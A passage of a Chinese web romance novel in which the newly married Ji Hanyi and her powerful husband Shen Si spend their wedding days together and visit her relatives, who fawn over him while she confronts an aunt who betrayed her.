季含漪睡着了那手便乱摸,沈肆本就是忍的辛苦,也想叫季含漪好好睡一会儿,但体内被季含漪挑起来的火气,还是又往季含漪身上凑过去。
季含漪睡梦中被吻得晕头转向,以为自己还在做梦。
只是唇齿间那微微疼的又好似不是做梦。
她迷迷糊糊睁开眼,就看见沈肆正闭目抱着她,高华的面容看起来正经极了。
可昨夜也是这个看起来极正经的人,却……
季含漪不敢乱想下去,却看着沈肆的脸庞呆了呆。
从前没与沈肆这般亲近过的时候,对他从来没有生起过任何心思,可是这两日夜里,两人那般之后,她知晓她与沈肆之间的关系,有些不一样了……
正看着沈肆的面容出神,沈肆却又忽然睁开了眼。
季含漪一看见沈肆就头皮发麻,做贼心虚的赶紧闭眼,也知道是掩耳盗铃,可就是没法子对上沈肆的目光。
昨夜她明明不想的,可那种欢愉是她从来不曾体会过的。
谢玉恒从前从来不会那般,刚成亲的时候,他总是很着急,后来才不到一月,他就很少与她同房,有时候两三个月都不曾。
季含漪从前从未想到过,原来这种事会是这样。
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可那样的欢愉,竟然是被沈肆用那样的方式挑起的,她更窘迫的是自己竟然期待享受着。
但她心底深处又羞于去承认。
沈肆伸手按在季含漪的后背上,又低沉道:“我还在婚期,这两日不会有人来搅扰,你可以多睡一会儿。”
季含漪耳根都红了,几不可闻的嗯了一声。
身上本来就是疲乏的,沈肆没起,季含漪也不怕嬷嬷挑她什么规矩,心安理得又闭了眼睡。
她当真是困倦的不行,也没管是不是在沈肆的怀里了。
或许连她自己都渐渐觉得,被沈肆抱着,是一件有些寻常的事情。
这一睡就睡到了日上三竿,天光大亮,接近了中午。
起来都直接都要用午膳了。
季含漪睡的昏天黑地,刚起来的时候还有点晕,可沈肆依旧一身严谨的清爽,慢条斯理的起身,身上没了床榻上抱着她的那股微微缓下去的柔和神情,又变得冷清起来。
特别是那身玄衣一上身,便又觉得疏离。
季含漪就偷偷看两眼就没看了,她被丫头伺候着,容春如个木头站在旁边,完全是插不上手的。
两人都收拾好,又一起去用午膳。
这还是季含漪第一次在沈肆的院子里和他一起用午膳,那桌上八个菜,样样精美。
沈肆用膳时几乎不开口,坐的也很端正严肃,只时不时给季含漪夹菜。
这些菜其实季含漪吃的不是很习惯,都是沈肆的口味,淡淡的也没什么滋味,季含漪爱吃的酸甜口一样没有。
可沈肆夹给她的菜,她还是一样不落的全吃完了。
沈肆目光微微往季含漪的身上看去一眼,看人吃的好似没那么高兴,又给人盛了碗火腿汤,让人慢慢吃。
用膳后下午沈肆又带着季含漪去上街,晚上又就在酒楼吃。
满满一大桌菜,季含漪本来因为夜里的事有些不想面对沈肆的,可看着沈肆总慢条斯理的给她夹菜,每一次都是她喜欢的,又有细微的触动。
第206章 回门
很快到了第三日回门的时候,季含漪是从承安侯府出嫁的,便先去了承安侯府。
去了承安侯府,承安侯府的众人早就热热闹闹的等着了。
季含漪才刚去和荣庆大长公主问了安,就被人拉去说话了。
沈肆看了眼季含漪被承安侯府的人拉着说话的模样,乖巧白净的小脸上带着笑意,便也放了心,往前院去与男子们一处了。
荣庆大长公主笑道:“院子里的梨花开了,日头也好,也别在这屋子里坐着了,免得拘着。”
这样众人便往后院梨花苑去。
桌上摆着香茶果子,个个目光看在季含漪身上,见着季含漪气色好又眉眼温软,真如那嫁了金玉良缘的妇人那般被滋润的好,不由又是一阵艳羡,说季含漪福气好,嫁了沈侯那般好的人。
季含漪听的还觉得有点恍惚,想着自己也的确很幸运的碰上了沈肆,但她却忽然又念起二叔为她在蔚县院中种的一院繁花,那是父亲心心念念想回去的故乡。
那一闪而过的思绪,又被隐在晏晏笑意里。
承安侯府虽然也需要与沈家联系上关系,但对季含漪也都是真心的,个个热络的搭话,与她说起家里长短,又说将来要是怀身孕的一应注意事情。
季含漪虽说听的有些不好意思,但却也一副认真听受教的模样,便人家惹人喜欢,纷纷倒金豆的说自己的经验来。
沈肆来接人的时候,秦彻的嫡妻苏氏还拉着季含漪低声道:“你未生养过,有些话是该听听。”
“有些女子容易怀身孕,新婚才一两月就怀上了,可人家自个儿不知道,身子底子差,又因着新婚没节制,那孩子就不小心落了。”
“怀了身孕可万不能再有房事,你可要记得,别亏了身子。”
季含漪听得面红耳赤,只连连点头。
又听身后沈肆低沉喊她的声音,季含漪与苏氏一起回头,见着是沈肆正站在身后,两人都有点尴尬,苏氏更是赶紧找借口先走了。
沈肆看着季含漪那薄粉覆面的面容,含羞带怯的娇气模样,不由伸手抚向她脸颊,微微的发热,软软的温度,很叫人贪恋。
沈肆带着季含漪一起去告了辞,又寒暄了一番才走。
上到马车上时,沈肆余光往季含漪身上看,却想着苏氏那话。
要是季含漪早早有了身孕,便不能同房了。
他其实没那么在意子嗣,他更在意与季含漪在情事上的欢愉。
想着想着,又伸手将季含漪的手握在手心。
这已经是他习惯的动作,从前不喜欢人碰他,如今他却很享受触碰她的感觉。
季含漪一低头,就见着自己的手被沈肆握住,看着那修长的手指在她手心轻轻摩挲,季含漪又颤了下,偷偷的抬眼看沈肆,他却是冷冷清清端方的模样,好似胡思乱想的都只她一人。
到了顾家,沈肆先下去扶着季含漪下来,那顾家前门的只见着那豪华气派的马车上下来两位尊贵的人,都纷纷看愣了。
顾家门前早候着人了,顾家所有人都在前门候着,便是嫁出去的二房姑娘都特意回来了。
这可是手握权柄的国舅爷第一回上门,她们哪里真的敢端着那派头在屋内等着。
在门口就对着沈肆一阵寒暄。
张氏在旁站着,脸上更是不知晓用什么神色来面对。
她既想要和其他人一样上前去巴结沈候,让沈候出力让自己的夫君回来,又想着这样好的姻缘偏偏没落到自己女儿身上,反而是被一个被谢家扫地出门的季含漪抢了先机,又觉得心里头有股憋闷。
若是一开始没这个念想还好,一有这个念想却又得不到,那才是更折磨人的。
顾宛云更是难堪到不想去看季含漪一眼。
场面上唯有顾老夫人和二房的人脸上是真真切切的热情,但是在沈肆的面前还是会稍显得拘谨,也不敢太热络,只一个劲的招呼着往里面走。
刘氏更是过来主动挽着季含漪的手,细细打量后又虚寒问暖起来。
她从前便总觉得季含漪或许有一天有大造化,如今竟能嫁入沈府,也没想到是这样大的造化,刚开始被邀去沈府参加喜宴还觉得有些不真实,今日亲眼见着了说不出是什么心情,为季含漪高兴是真高兴的,也是真真的觉得她命好。
母家微弱的情况下,二嫁能嫁入沈家这样的门户,百年都不一定有一个。
自然是存了讨好亲近的意思,但一家亲戚,季含漪有这
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样大的造化,自己是她舅母也脸上生光,对自己儿子也有好处,怎么能不高兴呢。
季含漪看着二舅母的神情,明显更热情了些,但也是真心的。
今日其实不用回顾家来的,只去看看母亲便好,是母亲给她来信,说这么大的事情,也该回去让外祖母高兴,她也要回顾家来。
季含漪知晓母亲的心思,一向都觉得一大家人是同喜同哀的,可其实却并不是这般,但她却劝不了。
顾晏走在最后,眼神看在季含漪和沈肆走在一起的背影上,眼神默默发暗。
去了正堂,顾老夫人便让季含漪坐在身边来,仔仔细细的打量。
只见着季含漪穿着一身月白地蝠如意纹的圆领衣,身下是淡粉色的粉底海棠纹。
发上戴着镶金玉的莲池璎珞,还有玉色上好的牡丹簪,耳边一对松石金耳坠,脖子上带着一串细翡翠珠串,颗颗碧绿。
端方雅致的坐在身边,一身如兰香气,手上拿着一柄缂丝花鸟**柄的轻罗绫扇,袅袅坐着,一身的贵气与精巧,只瞧一眼,就是大族里的世家贵妇。
就连坐在旁边的顾老夫人看着季含漪这一身贵重东西,又看季含漪含笑容色,心里竟也生了出一点不可高攀的生疏。
主要是沈家与顾家的门庭差距实在是太大,大到常常想起来都觉得不可思议。
她只握紧了季含漪的手,眼眶红润,想着这么大的造化,也是因祸得福了。
沈肆自然是最贵重的客人,被请到上位,顾洵站在身边脸色已经掩不住的想去讨好,上前过去问好。
沈肆看向顾洵,只是颔首,常年上位者的冷清,叫顾洵完全忘了该如何在沈肆面前应对。
他从未见过这般人物,也尚年轻,有心热络讨好,却无经验与沉稳的心态,更无阅历,便显得有些手足无措。
顾晏则显得稳重许多,问候的不卑不亢,脸上神情自然。
沈肆看了顾晏一眼,淡淡眼眸中很是凉薄。
旁边刘氏在边上殷勤的开口道:“上回我家洵哥儿的事还多亏了沈大人呢,一直没来得及当面感激。”
说着她推了推身边的顾洵:“你这条命是沈大人给的,还不给沈大人跪下感激。”
第207章 明晚能要她了
顾洵便赶忙撩开了衣袍,一下朝着沈肆跪了下去。
众人的目光便因着顾洵这一跪,都看了过来。
张氏看着这一幕,暗想着刘氏为了去沈候跟前讨好,竟然让顾洵去跪,又咬牙着自己怎么没想着。
给沈肆跪又不是丢脸的事情,能与他攀上关系,能跪在他跟前求他办事的人,又有几个人?
沈肆微微蹙眉,余光见着季含漪也往他看来,便让顾洵起来。
说实话,季含漪亲眼看着洵表哥给沈肆下跪,心里还是隐隐有点不是滋味,毕竟是自己的亲人。
又想着沈肆救了洵表哥,且沈肆身份本来也高,便又释然了,也的确该感激沈肆的。
又听沈肆淡淡的一句:“我是帮含漪,不用谢我。”
刘氏愣了愣,明白过来,忙又去感激了季含漪一回。
一番寒暄,顾府没反而没有在承安侯府的那派轻松热络。
那正堂上坐着沈肆,且又是个不苟言笑的人,屋内的不管是小辈还是长辈,都被那股气势压着,就算想要上前去讨好都没敢。
季含漪也看出来了,只要沈肆在,这屋内的气氛便是拘谨的,都干巴巴的说话,讨好的也显得很刻意,一副想要去讨好又不知道怎么讨好的样子。
其实来前季含漪给母亲去了信,让母亲回来事先说一声,不用拘谨,随意轻松一些,反而能落个好印象,这会儿看来,显然母亲的话也没起作用。
季含漪正打算说要走的时候,张氏又忽然声泪俱下的朝着沈肆跪下去,求沈肆让她夫君回来。
沈肆看张氏眼神带着淡淡不耐,但因是季含漪舅母,好歹给了体面,让身边文安去让她起身,脸上却没表态,只道:“旁的往日再说。”
张氏便觉得天塌了般,想着自己之前做的事情,只怕季含漪记了恨了,一时呆滞。
季含漪知晓再呆不得,要走了。
顾老夫人听说季含漪要走,便忙拉着季含漪去内屋,说要说些体己话,季含漪只能去了。
顾老夫人说的是让她大舅舅从边远地回来的事情,让她说两句好话。
季含漪也体谅外祖母这么想的心情,大舅舅在外五年,确实不如意。
她看向外祖母,说了大舅母将谢家人引来找她的事情,已经两回了。
第二回季含漪根本不觉得是巧合,巧合到她一回来,谢玉恒就堵在门外。
顾老太太听了季含漪的话也是脸色微微一变,低低骂道:“我原以为她是个贪心的,却没想如今她的心也黑了,竟能做出这样的事情。”
说着顾老太太看向季含漪道:“等今日过去了,你放心,我定然会好好说她。”
季含漪默了默,看向外祖母道:“我与外祖母说这件事,是因为我自来将这里当做亲人的,可大舅母却能因为一己私利做出这样的事情,显然并未将我当做亲人。”
“大舅母既未将我当做亲人,我也寒了心,在我心里,也不会再为大舅母的事情上心了。”
“我不是圣人,不能以德报怨。”
顾老夫人明白季含漪说这话的意思,这是心里伤心了。
旁边的顾氏也是第一回听到这事,脸上白了白:“你好不容易脱离了谢家,你大舅母竟去惹了谢家的来……”
顾老夫人红了眼眶,看着季含漪:“我知晓你如今都有主意,万事心里也有杆秤,外祖母不强求你了。”
季含漪稍微沉默一下,又低低道:“我与外祖母说这些,并不是为了秋后算账,我只是要将所有事情说清楚。”
“之前我母亲住在这里三年,的确有大舅母和晏表哥的照顾的,不管实际如何,那也是恩情,我也记得。”
“刚才大舅母也提了,夫君如何决定是夫君的事情,我能能做的是,若夫君有心,自然可以,若是不成,我也不插手。”
季含漪的话的确说的很清楚,清楚的有些泾渭分明。
顾老太太眼中一阵哀伤,这一切都是自己那大儿媳作出来的。
她红着眼轻拍着季含漪的手不住点头:“你
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放心,不会怪你的,我知晓你嫁了那么好的人家,出身没那些人好,你二嫁难免也有人在背后议论你什么,也是不容易的。”
季含漪知晓外祖母一向明白她的决定,便放心了。
只是正说着话,大舅母却走了进来,一进来看向季含漪,尽管拉不下脸面,还是咬着牙想求季含漪说说情。
但顾老太太见了张氏便呵斥,又说了她引谢家人来的事情。
张氏脸色微微变了变,脸色发白,却又赶紧矢口否认。
季含漪往外走,路过张氏身边顿住,低声道:“大舅母即便否认,我心里最清楚的。”
“两回了。”
季含漪说着从张氏身边走了过去。
张氏愣愣听着季含漪这少见冷清的话,转身的时候,就只看到季含漪的背影了。
她心里头一阵慌,脸色发白,当初要早知道季含漪和沈侯的这事,她哪里会与谢家勾搭。
那谢家人眼高于顶,眼里有些瞧不上人,她心里也恨,又想着这两日谢家总给她送信问季含漪在外的住处,看样子还不知晓季含漪和沈侯成婚了。
她便偏不告诉她们,让那不拿正眼看人的谢家大夫人干着急去。
她正想着,回过头又是顾老太太和顾氏眼底发冷的眼神。
又听顾老夫人让她禁足两个月,不许再送信出去,身上微微一软。
回去的时候正是中午,马车上沈肆未提刚才张氏说的事情,季含漪也安安静静地没有问。
沈肆看了看季含漪,瞧人竟没问,倒是挑了挑眉。
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沈肆的婚期只有三日,明日就要上朝了。
所以这夜早早的睡,但这夜沈肆没如之前两夜那般去碰人,他只是将人抱在怀里,轻轻的触碰,在她颈边浅浅的吹气,慢慢的引诱她。
直到怀里人若有似无的开始在他怀里蹭,他才无声的笑笑。
他知晓自己的目的是达成一半了。
习惯有时候真的敌过一切。
明晚该是时候要人了。